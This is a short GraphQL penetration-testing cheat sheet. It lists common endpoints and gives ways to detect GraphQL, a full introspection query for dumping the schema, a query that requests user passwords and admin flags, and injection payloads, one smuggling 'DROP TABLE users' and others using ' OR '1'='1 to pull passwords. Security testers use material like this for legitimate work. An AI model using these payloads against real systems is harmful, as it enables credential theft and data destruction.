GraphQL Pentesting

Endpoints

/graphql
/api/graphql
/graphql/v1
/v1/graphql
/gql

Wordlist

/usr/share/wordlists/seclists/Discover/Web-Content/graphql.txt

Where to look for GraphQL usage:

1) Login pages

Input data, then press F12 (developer tools) and go in "Network tab". Send the data and check the request/response fields to look for terms like "Query" or "Mutation".

2) Trigger error messages

Example

curl -X POST http://domain.local:8080/graphql

3) JavaScript files

View them by pressing F12 -> Sources/Debugger, then search for keywords like

graphql, /graphql, mutaation, query

After verification of GraphQL presence

1) Check for excessive data exposure

Example query

{
  user(id: "1") {
    id
    username
    email
    password
    is_admin
  }
}

2) Injection

Example query

{
  user(id: "1; DROP TABLE users; --") {
    name
  }
}

GraphQL introspection

Tools:

1. Graphiql https://github.com/graphql/graphiql

2. Graphql Voyager https://apis.guru/graphql-voyager/

1) Check if schema introspection is enabled

{__schema{types{name,fields{name}}}}

2) Dump the entire GraphQL schema

query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name}}}}

Example query

{
	"query":
	"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } locations } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

Go to GraphQL Voyager and paste the response from the query to visualize the schema.

3) Check what operations you can do with GraphQL

4) SQL Injection example

{users(searchTerm:"' OR '1'='1")}

Example query

{"query":"\n                query ($username: String!) {\n                    users(username: $username) {\n                        id\n                        username\n                        password\n                    }\n                }\n            ","variables":{"username":"test' OR '1'='1"}}